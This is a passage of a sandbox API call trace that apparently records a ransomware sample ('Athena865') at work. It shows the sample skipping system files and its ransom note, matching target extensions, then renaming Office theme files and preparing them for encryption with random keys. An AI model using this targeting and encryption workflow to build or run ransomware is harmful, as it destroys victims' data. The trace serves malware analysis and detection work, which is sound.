ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Equity.xml", cAlternateFileName="")) returned 1 [0136.252] lstrcmpiW (lpString1="Equity.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0136.252] lstrcmpiW (lpString1="Equity.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0136.252] lstrcmpiW (lpString1="Equity.xml", lpString2=".") returned 1 [0136.252] lstrcmpiW (lpString1="Equity.xml", lpString2="..") returned 1 [0136.252] lstrcmpiW (lpString1="Equity.xml", lpString2="windows") returned -1 [0136.252] lstrcmpiW (lpString1="Equity.xml", lpString2="bootmgr") returned 1 [0136.252] lstrcmpiW (lpString1="Equity.xml", lpString2="temp") returned -1 [0136.252] lstrcmpiW (lpString1="Equity.xml", lpString2="pagefile.sys") returned -1 [0136.252] lstrcmpiW (lpString1="Equity.xml", lpString2="boot") returned 1 [0136.252] lstrcmpiW (lpString1="Equity.xml", lpString2="ids.txt") returned -1 [0136.252] lstrcmpiW (lpString1="Equity.xml", lpString2="ntuser.dat") returned -1 [0136.252] lstrcmpiW (lpString1="Equity.xml", lpString2="perflogs") returned -1 [0136.252] lstrcmpiW (lpString1="Equity.xml", lpString2="MSBuild") returned -1 [0136.252] lstrlenW (lpString="Equity.xml") returned 10 [0136.252] lstrcpyW (in: lpString1=0x241e8cc, lpString2="Equity.xml" | out: lpString1="Equity.xml") returned="Equity.xml" [0136.252] lstrlenW (lpString="Equity.xml") returned 10 [0136.252] lstrlenW (lpString="Athena865") returned 9 [0136.252] lstrcmpiW (lpString1="quity.xml", lpString2="Athena865") returned 1 [0136.252] lstrlenW (lpString=".dll") returned 4 [0136.252] lstrcmpiW (lpString1="Equity.xml", lpString2=".dll") returned 1 [0136.252] lstrlenW (lpString=".lnk") returned 4 [0136.252] lstrcmpiW (lpString1="Equity.xml", lpString2=".lnk") returned 1 [0136.252] lstrlenW (lpString=".ini") returned 4 [0136.253] lstrcmpiW (lpString1="Equity.xml", lpString2=".ini") returned 1 [0136.253] lstrlenW (lpString=".sys") returned 4 [0136.253] lstrcmpiW (lpString1="Equity.xml", lpString2=".sys") returned 1 [0136.253] lstrlenW (lpString="Equity.xml") returned 10 [0136.253] lstrlenW (lpString="bak") returned 3 [0136.253] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0136.253] lstrlenW (lpString="ba_") returned 3 [0136.253] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0136.253] lstrlenW (lpString="dbb") returned 3 [0136.253] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0136.253] lstrlenW (lpString="vmdk") returned 4 [0136.253] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0136.253] lstrlenW (lpString="rar") returned 3 [0136.253] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0136.253] lstrlenW (lpString="zip") returned 3 [0136.253] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0136.253] lstrlenW (lpString="tgz") returned 3 [0136.253] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0136.253] lstrlenW (lpString="vbox") returned 4 [0136.253] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0136.253] lstrlenW (lpString="vdi") returned 3 [0136.253] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0136.253] lstrlenW (lpString="vhd") returned 3 [0136.253] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0136.253] lstrlenW (lpString="vhdx") returned 4 [0136.253] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0136.253] lstrlenW (lpString="avhd") returned 4 [0136.254] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0136.254] lstrlenW (lpString="db") returned 2 [0136.254] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0136.254] lstrlenW (lpString="db2") returned 3 [0136.254] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0136.254] lstrlenW (lpString="db3") returned 3 [0136.254] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0136.254] lstrlenW (lpString="dbf") returned 3 [0136.254] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0136.254] lstrlenW (lpString="mdf") returned 3 [0136.254] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0136.254] lstrlenW (lpString="mdb") returned 3 [0136.254] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0136.254] lstrlenW (lpString="sql") returned 3 [0136.254] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0136.254] lstrlenW (lpString="sqlite") returned 6 [0136.254] lstrcmpiW (lpString1="ty.xml", lpString2="sqlite") returned 1 [0136.254] lstrlenW (lpString="sqlite3") returned 7 [0136.254] lstrcmpiW (lpString1="ity.xml", lpString2="sqlite3") returned -1 [0136.254] lstrlenW (lpString="sqlitedb") returned 8 [0136.254] lstrcmpiW (lpString1="uity.xml", lpString2="sqlitedb") returned 1 [0136.254] lstrlenW (lpString="xml") returned 3 [0136.254] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0136.254] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Equity.xml.Athena865") returned 86 [0136.254] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Equity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\equity.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Equity.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\equity.xml.athena865"), dwFlags=0x1) returned 1 [0136.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Equity.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\equity.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0136.257] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=961) returned 1 [0136.257] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0136.257] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0136.257] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0136.257] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0136.258] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0136.258] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.258] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6d0, lpName=0x0) returned 0x17c [0136.260] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6d0) returned 0x100000 [0136.261] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0136.261] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0136.261] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.261] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0136.262] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4741800, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4741800, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Essential.xml", cAlternateFileName="ESSENT~1.XML")) returned 1 [0136.262] lstrcmpiW (lpString1="Essential.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0136.262] lstrcmpiW (lpString1="Essential.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0136.262] lstrcmpiW (lpString1="Essential.xml", lpString2=".") returned 1 [0136.262] lstrcmpiW (lpString1="Essential.xml", lpString2="..") returned 1 [0136.262] lstrcmpiW (lpString1="Essential.xml", lpString2="windows") returned -1 [0136.262] lstrcmpiW (lpString1="Essential.xml", lpString2="bootmgr") returned 1 [0136.262] lstrcmpiW (lpString1="Essential.xml", lpString2="temp") returned -1 [0136.262] lstrcmpiW (lpString1="Essential.xml", lpString2="pagefile.sys") returned -1 [0136.262] lstrcmpiW (lpString1="Essential.xml", lpString2="boot") returned 1 [0136.262] lstrcmpiW (lpString1="Essential.xml", lpString2="ids.txt") returned -1 [0136.262] lstrcmpiW (lpString1="Essential.xml", lpString2="ntuser.dat") returned -1 [0136.262] lstrcmpiW (lpString1="Essential.xml", lpString2="perflogs") returned -1 [0136.262] lstrcmpiW (lpString1="Essential.xml", lpString2="MSBuild") returned -1 [0136.262] lstrlenW (lpString="Essential.xml") returned 13 [0136.262] lstrcpyW (in: lpString1=0x241e8cc, lpString2="Essential.xml" | out: lpString1="Essential.xml") returned="Essential.xml" [0136.263] lstrlenW (lpString="Essential.xml") returned 13 [0136.263] lstrlenW (lpString="Athena865") returned 9 [0136.263] lstrcmpiW (lpString1="ntial.xml", lpString2="Athena865") returned 1 [0136.263] lstrlenW (lpString=".dll") returned 4 [0136.263] lstrcmpiW (lpString1="Essential.xml", lpString2=".dll") returned 1 [0136.263] lstrlenW (lpString=".lnk") returned 4 [0136.263] lstrcmpiW (lpString1="Essential.xml", lpString2=".lnk") returned 1 [0136.263] lstrlenW (lpString=".ini") returned 4 [0136.263] lstrcmpiW (lpString1="Essential.xml", lpString2=".ini") returned 1 [0136.263] lstrlenW (lpString=".sys") returned 4 [0136.263] lstrcmpiW (lpString1="Essential.xml", lpString2=".sys") returned 1 [0136.263] lstrlenW (lpString="Essential.xml") returned 13 [0136.263] lstrlenW (lpString="bak") returned 3 [0136.263] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0136.263] lstrlenW (lpString="ba_") returned 3 [0136.263] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0136.263] lstrlenW (lpString="dbb") returned 3 [0136.263] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0136.263] lstrlenW (lpString="vmdk") returned 4 [0136.263] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0136.263] lstrlenW (lpString="rar") returned 3 [0136.263] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0136.263] lstrlenW (lpString="zip") returned 3 [0136.263] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0136.263] lstrlenW (lpString="tgz") returned 3 [0136.263] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0136.263] lstrlenW (lpString="vbox") returned 4 [0136.263] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0136.264] lstrlenW (lpString="vdi") returned 3 [0136.264] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0136.264] lstrlenW (lpString="vhd") returned 3 [0136.264] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0136.264] lstrlenW (lpString="vhdx") returned 4 [0136.264] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0136.264] lstrlenW (lpString="avhd") returned 4 [0136.264] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0136.264] lstrlenW (lpString="db") returned 2 [0136.264] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0136.264] lstrlenW (lpString="db2") returned 3 [0136.264] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0136.264] lstrlenW (lpString="db3") returned 3 [0136.264] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0136.264] lstrlenW (lpString="dbf") returned 3 [0136.264] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0136.264] lstrlenW (lpString="mdf") returned 3 [0136.264] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0136.264] lstrlenW (lpString="mdb") returned 3 [0136.264] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0136.264] lstrlenW (lpString="sql") returned 3 [0136.264] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0136.264] lstrlenW (lpString="sqlite") returned 6 [0136.264] lstrcmpiW (lpString1="al.xml", lpString2="sqlite") returned -1 [0136.264] lstrlenW (lpString="sqlite3") returned 7 [0136.264] lstrcmpiW (lpString1="ial.xml", lpString2="sqlite3") returned -1 [0136.264] lstrlenW (lpString="sqlitedb") returned 8 [0136.264] lstrcmpiW (lpString1="tial.xml", lpString2="sqlitedb") returned 1 [0136.264] lstrlenW (lpString="xml") returned 3 [0136.265] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0136.265] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Essential.xml.Athena865") returned 89 [0136.265] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Essential.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\essential.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Essential.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\essential.xml.athena865"), dwFlags=0x1) returned 1 [0136.267] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Essential.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\essential.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0136.268] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=928) returned 1 [0136.268] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0136.268] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0136.268] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0136.268] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0136.269] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0136.269] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.269] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6a0, lpName=0x0) returned 0x17c [0136.271] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6a0) returned 0x100000 [0136.272] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0136.273] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0136.273] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.273] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0136.273] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1655bb00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1655bb00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Executive.xml", cAlternateFileName="EXECUT~1.XML")) returned 1 [0136.273] lstrcmpiW (lpString1="Executive.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0136.273] lstrcmpiW (lpString1="Executive.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0136.273] lstrcmpiW (lpString1="Executive.xml", lpString2=".") returned 1 [0136.273] lstrcmpiW (lpString1="Executive.xml", lpString2="..") returned 1 [0136.274] lstrcmpiW (lpString1="Executive.xml", lpString2="windows") returned -1 [0136.274] lstrcmpiW (lpString1="Executive.xml", lpString2="bootmgr") returned 1 [0136.274] lstrcmpiW (lpString1="Executive.xml", lpString2="temp") returned -1 [0136.274] lstrcmpiW (lpString1="Executive.xml", lpString2="pagefile.sys") returned -1 [0136.274] lstrcmpiW (lpString1="Executive.xml", lpString2="boot") returned 1 [0136.274] lstrcmpiW (lpString1="Executive.xml", lpString2="ids.txt") returned -1 [0136.274] lstrcmpiW (lpString1="Executive.xml", lpString2="ntuser.dat") returned -1 [0136.274] lstrcmpiW (lpString1="Executive.xml", lpString2="perflogs") returned -1 [0136.274] lstrcmpiW (lpString1="Executive.xml", lpString2="MSBuild") returned -1 [0136.274] lstrlenW (lpString="Executive.xml") returned 13 [0136.274] lstrcpyW (in: lpString1=0x241e8cc, lpString2="Executive.xml" | out: lpString1="Executive.xml") returned="Executive.xml" [0136.274] lstrlenW (lpString="Executive.xml") returned 13 [0136.274] lstrlenW (lpString="Athena865") returned 9 [0136.274] lstrcmpiW (lpString1="utive.xml", lpString2="Athena865") returned 1 [0136.274] lstrlenW (lpString=".dll") returned 4 [0136.274] lstrcmpiW (lpString1="Executive.xml", lpString2=".dll") returned 1 [0136.274] lstrlenW (lpString=".lnk") returned 4 [0136.274] lstrcmpiW (lpString1="Executive.xml", lpString2=".lnk") returned 1 [0136.274] lstrlenW (lpString=".ini") returned 4 [0136.274] lstrcmpiW (lpString1="Executive.xml", lpString2=".ini") returned 1 [0136.274] lstrlenW (lpString=".sys") returned 4 [0136.274] lstrcmpiW (lpString1="Executive.xml", lpString2=".sys") returned 1 [0136.274] lstrlenW (lpString="Executive.xml") returned 13 [0136.274] lstrlenW (lpString="bak") returned 3 [0136.274] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0136.275] lstrlenW (lpString="ba_") returned 3 [0136.275] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0136.275] lstrlenW (lpString="dbb") returned 3 [0136.275] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0136.275] lstrlenW (lpString="vmdk") returned 4 [0136.275] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0136.275] lstrlenW (lpString="rar") returned 3 [0136.275] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0136.275] lstrlenW (lpString="zip") returned 3 [0136.275] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0136.275] lstrlenW (lpString="tgz") returned 3 [0136.275] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0136.275] lstrlenW (lpString="vbox") returned 4 [0136.275] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0136.275] lstrlenW (lpString="vdi") returned 3 [0136.275] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0136.275] lstrlenW (lpString="vhd") returned 3 [0136.275] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0136.275] lstrlenW (lpString="vhdx") returned 4 [0136.275] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0136.275] lstrlenW (lpString="avhd") returned 4 [0136.275] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0136.275] lstrlenW (lpString="db") returned 2 [0136.275] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0136.275] lstrlenW (lpString="db2") returned 3 [0136.275] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0136.275] lstrlenW (lpString="db3") returned 3 [0136.276] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0136.276] lstrlenW (lpString="dbf") returned 3 [0136.276] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0136.276] lstrlenW (lpString="mdf") returned 3 [0136.276] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0136.276] lstrlenW (lpString="mdb") returned 3 [0136.276] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0136.276] lstrlenW (lpString="sql") returned 3 [0136.276] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0136.276] lstrlenW (lpString="sqlite") returned 6 [0136.276] lstrcmpiW (lpString1="ve.xml", lpString2="sqlite") returned 1 [0136.276] lstrlenW (lpString="sqlite3") returned 7 [0136.276] lstrcmpiW (lpString1="ive.xml", lpString2="sqlite3") returned -1 [0136.276] lstrlenW (lpString="sqlitedb") returned 8 [0136.276] lstrcmpiW (lpString1="tive.xml", lpString2="sqlitedb") returned 1 [0136.276] lstrlenW (lpString="xml") returned 3 [0136.276] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0136.276] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Executive.xml.Athena865") returned 89 [0136.276] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Executive.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\executive.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Executive.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\executive.xml.athena865"), dwFlags=0x1) returned 1 [0136.281] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Executive.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\executive.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0136.281] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=964) returned 1 [0136.281] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0136.281] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0136.282] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0136.282] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0136.282] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0136.282] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.283] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6d0, lpName=0x0) returned 0x17c [0136.284] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6d0) returned 0x100000 [0136.285] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0136.285] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0136.285] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.286] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0136.286] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2927500, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2927500, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3bf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Flow.xml", cAlternateFileName="")) returned 1 [0136.286] lstrcmpiW (lpString1="Flow.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0136.286] lstrcmpiW (lpString1="Flow.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0136.286] lstrcmpiW (lpString1="Flow.xml", lpString2=".") returned 1 [0136.286] lstrcmpiW (lpString1="Flow.xml", lpString2="..") returned 1 [0136.286] lstrcmpiW (lpString1="Flow.xml", lpString2="windows") returned -1 [0136.286] lstrcmpiW (lpString1="Flow.xml", lpString2="bootmgr") returned 1 [0136.286] lstrcmpiW (lpString1="Flow.xml", lpString2="temp") returned -1 [0136.286] lstrcmpiW (lpString1="Flow.xml", lpString2="pagefile.sys") returned -1 [0136.286] lstrcmpiW (lpString1="Flow.xml", lpString2="boot") returned 1 [0136.286] lstrcmpiW (lpString1="Flow.xml", lpString2="ids.txt") returned -1 [0136.286] lstrcmpiW (lpString1="Flow.xml", lpString2="ntuser.dat") returned -1 [0136.286] lstrcmpiW (lpString1="Flow.xml", lpString2="perflogs") returned -1 [0136.286] lstrcmpiW (lpString1="Flow.xml", lpString2="MSBuild") returned -1 [0136.287] lstrlenW (lpString="Flow.xml") returned 8 [0136.287] lstrcpyW (in: lpString1=0x241e8cc, lpString2="Flow.xml" | out: lpString1="Flow.xml") returned="Flow.xml" [0136.287] lstrlenW (lpString="Flow.xml") returned 8 [0136.287] lstrlenW (lpString="Athena865") returned 9 [0136.287] lstrlenW (lpString=".dll") returned 4 [0136.287] lstrcmpiW (lpString1="Flow.xml", lpString2=".dll") returned 1 [0136.287] lstrlenW (lpString=".lnk") returned 4 [0136.287] lstrcmpiW (lpString1="Flow.xml", lpString2=".lnk") returned 1 [0136.287] lstrlenW (lpString=".ini") returned 4 [0136.287] lstrcmpiW (lpString1="Flow.xml", lpString2=".ini") returned 1 [0136.287] lstrlenW (lpString=".sys") returned 4 [0136.287] lstrcmpiW (lpString1="Flow.xml", lpString2=".sys") returned 1 [0136.287] lstrlenW (lpString="Flow.xml") returned 8 [0136.287] lstrlenW (lpString="bak") returned 3 [0136.287] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0136.287] lstrlenW (lpString="ba_") returned 3 [0136.287] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0136.287] lstrlenW (lpString="dbb") returned 3 [0136.287] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0136.287] lstrlenW (lpString="vmdk") returned 4 [0136.287] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0136.287] lstrlenW (lpString="rar") returned 3 [0136.287] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0136.287] lstrlenW (lpString="zip") returned 3 [0136.287] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0136.287] lstrlenW (lpString="tgz") returned 3 [0136.288] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0136.288] lstrlenW (lpString="vbox") returned 4 [0136.288] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0136.288] lstrlenW (lpString="vdi") returned 3 [0136.288] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0136.288] lstrlenW (lpString="vhd") returned 3 [0136.288] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0136.288] lstrlenW (lpString="vhdx") returned 4 [0136.288] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0136.288] lstrlenW (lpString="avhd") returned 4 [0136.288] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0136.288] lstrlenW (lpString="db") returned 2 [0136.288] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0136.288] lstrlenW (lpString="db2") returned 3 [0136.288] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0136.288] lstrlenW (lpString="db3") returned 3 [0136.288] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0136.288] lstrlenW (lpString="dbf") returned 3 [0136.288] lstrcmpiW (lpString1="xml", 